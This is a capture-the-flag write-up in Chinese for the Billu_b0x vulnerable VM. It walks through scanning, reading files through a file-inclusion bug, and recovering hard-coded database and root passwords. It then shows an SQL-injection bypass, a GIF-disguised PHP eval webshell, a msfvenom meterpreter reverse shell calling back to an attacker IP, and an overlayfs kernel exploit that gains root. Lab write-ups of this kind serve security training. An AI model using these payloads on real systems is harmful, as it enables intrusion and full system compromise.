Billu_b0x靶机

靶场环境:使用ubuntu(32位),软件有:PHP、Apaceh、MySQL
攻击环境:Lali2 Linux Windows10
IP配置:下载Billu_b0x解压后导入VMware,然后把Kali2 Liunx 跟Windows7都设置成NAT模式,靶机自动获取IP

目标

难度中等 Boot to root从web应用程序进入虚拟机,并获得root权限

工具

nmap
nikto
firefox
burp suite
msf

信息搜集

使用nmap扫描当前网段发现目标机器IP192.168.5.139
nmap -sP 192.168.5.1/24

继续使用nmap对目标机器进行探测,对开放了哪些端口和服务的结果保存到ill.tx
nmap -A -v -p1-65535 192.168.5.139 -oN bill.txt

我们发现了目标开放了80端口,直接访问下目标看到web站点有一句Show me your SQLI skills的提示,那么猜测是可能用注入的方式,先不用着急,我们先做做其他方面的探测

针对目标机器192.168.5.139使用kali自带的niktodirp扫描一下,可以看到出了不少东西
nikto -C all -h http://192.168.5.139/

dirb http://192.168.5.139 /usr/share/dirb/wordlists/big.txt

漏洞挖掘

1
2
3
4
5
6
7
8
9
10
11
12
13
漏洞挖掘思路:

(1) SQL注入:首页提示注入,想办法注入成功。

(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;

(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;

(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;

(5) 查看每个网页的源码,看是否有提示;。

(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

通过前面简单的信息收集,现在需要对收集到目录及路径进行进一步的挖掘,这过程中发现了三个有用的信息,分别是
http://192.168.5.139/test.php有一句英文提示:'file' parameter is empty. Please provide file path in 'file' parameter‘file’参数为空。请在file参数中提供文件路径

http://192.168.5.139/in.php?returnpath=http://cirt.net/rfiinc.txt,phpinfo泄露能暴露出不少信息

http://192.168.5.139/phpmy/,phpmyadmin登录页面

我看到这三个信息的第一反应是猜测这里存在本地文件包含漏洞,因为看到file这个太明显了,就想着去用burpsuite读取配置,成功读取

换成了浏览器同样,确认存在任意文件下载漏洞

那么既然能读取文件,而且也存在phpmyadmin想到的就是读取MySQL的配置文件拿到密码登录后台然后写shell试了/etc/my.conf发现并不行,也试了其他的路径均未成功,在此陷入僵局,想来想去搜搜查查发现可以根据之前扫描的结果,把源文件都下载下来
add.php c.php head.php in.php index.php panel.php show.php test.php

c.php中找到了MySQL的登录凭证,这样我们就可以登录phpmyadmin
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

获取权限

但是登录进去后发现是低权限的,不能直接写shell,我们得到了版本号为3.4.7搜索了一波并没有发现可以利用的漏洞,根据之前phpinfo暴露出来的信息我们知道web站点的目录那么我们可以利用之前存在任意文件读取漏洞读取phpmyadmin使用的配置文件config.inc.php

这样我们直接得到了靶机的登录用户名:root密码:roottoor

我们通过前期nmap扫描的结果知道靶机是开放了22端口的,那么我们现在直接用得到的用户名跟密码直接登录靶机,成功登录!看看权限发现直接就是root权限!
ssh root@192.168.5.139 密码roottoor

虽然说直达目的是一件好事,但抱着学习的态度,我们去看看其他的拿到权限的方式,且逐步提权的全过程
我们使用从c.php得到的MySQL用户名:billu密码:b0x_billu登录phpmyadmin后在翻阅数据库中的时候发现auth表中存在一个用户名跟密码 biLLu:hEx_it,试着用得到的用户跟密码在inde.php页面登录,发现跳转到了panel.php的页面,发现这是一个上传页面

还有一种方法,我们在之前下载index.php源码中看到这样一段代码,是登录页面的一个SQL查询语句,我也不太懂php代码,大概的意识是说是使用str_replace将字符串\'替换为空

1
2
3
4
5
6
7
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0)

既对payload后面需要加上\'这样我们可以直接构造SQL注入语句直接注入出密码来登录

继续看看panel.php源代码发现存在本地文件包含漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);

if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}

if($choice==='show')
{

include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}

}

这里有一个上传,那么我们直接上传包含一个php代码的文件即可,登录之后选择Add User

创建一个wukong.gif文件,内容如下
GIF89a<?php @eval($_POST['cmd']);?>
然后直接上传文件,根据panel.php中的代码显示:
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
我们传的文件在uploaded_images目录中,直接访问http://192.168.5.139/uploaded_images就可以看到

这样我们就可以借助本地文件包含漏洞执行shell

但是这样的话只有一个www-data的权限,很不方便,现在我们可以使用msfvenom生成一个webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.5.140 LPORT=7777 -f raw > wukong3.php

1
2
3
4
5
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.5.140 LPORT=7777 -f raw > wukong3.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 30656 bytes

这里需要对生成的webshell修改两处,一是打开webshell在前面加GIF89a并且把扩展名改为gif并上传

mv wukong3.php wukong3.gif
在kali中,打开msf进行监听,

1
2
3
4
5
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.5.139
set LPORT 7777
exploit/run


然后用burpsuite发包,然后msf中就返回了一个meterpreter

创建一个shell,执行uanem -a查看一下内核版本

权限提升

由于我们目前只是一个www-data的权限,现在需要去找一下内核提权,现在上exploit-db找到
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation

将代码保存到kali上去exploit.c我们要提权需要把它传到目标机器的tmp目录下,然后使用gcc编译并执行,最终我们看到成功获取到了root权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
meterpreter > upload /root/exploit.c /tmp
[*] uploading : /root/exploit.c -> /tmp
[*] uploaded : /root/exploit.c -> /tmp/exploit.c
meterpreter > shell
Process 31068 created.
Channel 6 created.
pwd
/var/www
cd /tmp
ls
exploit
exploit.c
gcc exploit.c -o exploit
./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
# whoami
root
#

汇总

1、config.inc.php文件

config.inc.php文件是phpmyadmin配置文件,几乎所有的配置参数都在 config.inc.php文件中

2、msfvenom 生成php木马

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.5.140 LPORT=7777 -f raw > wukong3.php

3、赋予执行权限、gcc编译提权代码

chmod 777 exploit.c
gcc exploit.c -o exploit

4、不在手动get转换成post

使用burpsuit中选择Change request methodget请求转换为post请求